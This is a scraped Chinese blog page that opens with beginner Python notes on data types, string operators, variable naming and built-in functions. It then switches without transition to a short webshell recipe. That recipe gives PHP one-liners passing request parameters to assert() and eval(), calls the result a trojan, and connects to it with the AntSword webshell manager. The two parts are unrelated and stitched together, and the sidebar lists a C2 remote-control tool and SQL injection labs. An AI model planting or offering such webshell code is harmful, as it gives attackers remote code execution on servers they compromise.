当前位置:网站首页>【无标题】
【无标题】
2022-07-26 21:55:00 【Lord Chaser】
1、基本数学操作符
2、最基本的数据类型
Python中最基本的数据类型有整形、浮点型和字符串型。
3、字符串型常用的操作
(1)字符串连接。
Python中字符串连接可以直接使用“+”操作符。如:要把字符串”abc”和字符串”def”连接在一起,可以使用”abc”+”def”。注意:“+”操作符的两侧都需要是字符串类型的数据,不能有一侧是其他类型。如:”abc”+12这种表达是错误的。
(2)字符串复制。
Python中字符串复制使用操作符“*”。如:要把字符串”abc”重复5次,可以写成”abc”*5。注意:采用“*”进行字符串复制的时候,只能是一个字符串和一个整形数字,如果是两个字符串或者一个字符串和一个浮点型数字,则编译出错。如:”abc”*”def”,这种表达方式错误;”abc”*2.0这种表达方式也错误。
4、变量名命名规则。
Python中变量名只能包含字母、数字和下划线,并且数字不能是开头。
5、Python中基本的函数
(1)print():把内容输出在控制台上。如:print(‘abc’)表示把字符串”abc”输出到控制台上。
(2)input():暂停程序执行,等待用户输入。如;a = input(),程序运行到这里之后暂停,等用户从控制台输入数据,输入的数据保存在变量a中,然后继续执行后面的程序。
(3)len():求字符串的长度。如len(“abc”)表示求字符串“abc”的长度
(4)int():把内容转换成整形。如:int(‘12’)表示把字符串’12’转换成整形数字12.
(5)float():把内容转换成浮点型。如:float(‘1.2’)表示把字符串’1.2’转换成浮点型数据1.2.
(6)str():把数据转换成字符串。如:str(12)表示把整形数据12转换成字符串’12’.
assert利用蚁剑登录
assert()格式
<?php
$str = $_GET['input'];
assert($str);
?>
eval()与assert()的区别
eval() 函数中参数时字符串
值必须加上 ;结尾
例:eval( 'phpinfo() ;' ) ;
assert() 函数中参数为表达式(或者为函数)
把传入的参数直接当成PHP代码执行,不需要以 ; 结尾,当然加上也可以。
所以我们可以构造木马:
assert(eval($_POST['2']));
再用蚁剑测试连接
边栏推荐
- 基于gRPC编写golang简单C2远控
- Let the program do one thing in one or more seconds
- Summary of shell related commands
- 《强化学习周刊》第55期:LB-SGD、MSP-DRL & 对抗鲁棒强化学习
- Arduino实验一:双色灯实验
- Relying on metauniverse and NFT, the world shows crazy "cutting leeks"?
- 2022年最新西藏建筑安全员模拟题库及答案
- 国产DRAM年底将量产,但前路依旧漫漫!
- Matlab solution of the densest stacking and smallest circumscribed square of N circles (two-dimensional, three-dimensional, etc. circle packing problem)
- Add resource files for the project and pictures for buttons in QT
猜你喜欢

MySQL数据库介绍

2022年最新西藏建筑安全员模拟题库及答案

Embedded sig | distributed soft bus

Parameter analysis and stone jumping board

Linear DP of dynamic programming
![[IO Development Notes] smart cloud intelligent watering device practice (3) - automatic code generation and transplantation](/img/f6/e23089c473cc72a7d763ff975d8e62.png)
[IO Development Notes] smart cloud intelligent watering device practice (3) - automatic code generation and transplantation

Unity operates on Explorer, opens explorer, selects files, and filters files

Financial institution map

shell相关命令总结

VCs compilation and simulation process
随机推荐
what is qrc in qt
麒麟990系列为何无缘Cortex-A77和Mali G77?
《强化学习周刊》第55期:LB-SGD、MSP-DRL & 对抗鲁棒强化学习
MySQL recommendation
Proto basic grammar of protobuf
Y78. Chapter IV Prometheus' monitoring system and practice -- Prometheus' service discovery mechanism (IX)
Systemctl command
毕业5年,从信息管理转行软件测试工程师,我的月薪终于突破了12k
SQL injection less26 (filter spaces and comments, and use error injection without spaces)
国产DRAM年底将量产,但前路依旧漫漫!
Matlab solution of the densest stacking and smallest circumscribed square of N circles (two-dimensional, three-dimensional, etc. circle packing problem)
Nacos作为注册中心、配置中心入门使用篇-实现远程调用、动态获取配置文件、数据库配置信息
08.02 adjacency table
Summary of shell related commands
y78.第四章 Prometheus大厂监控体系及实战 -- prometheus的服务发现机制(九)
[try to hack] firewall (I)
基于C语言设计的增量型安全文件系统 SFS
what is a kit in qt
A few pictures help you clarify "China's financial institution system"
【HCIP】OSPF 外部路由引入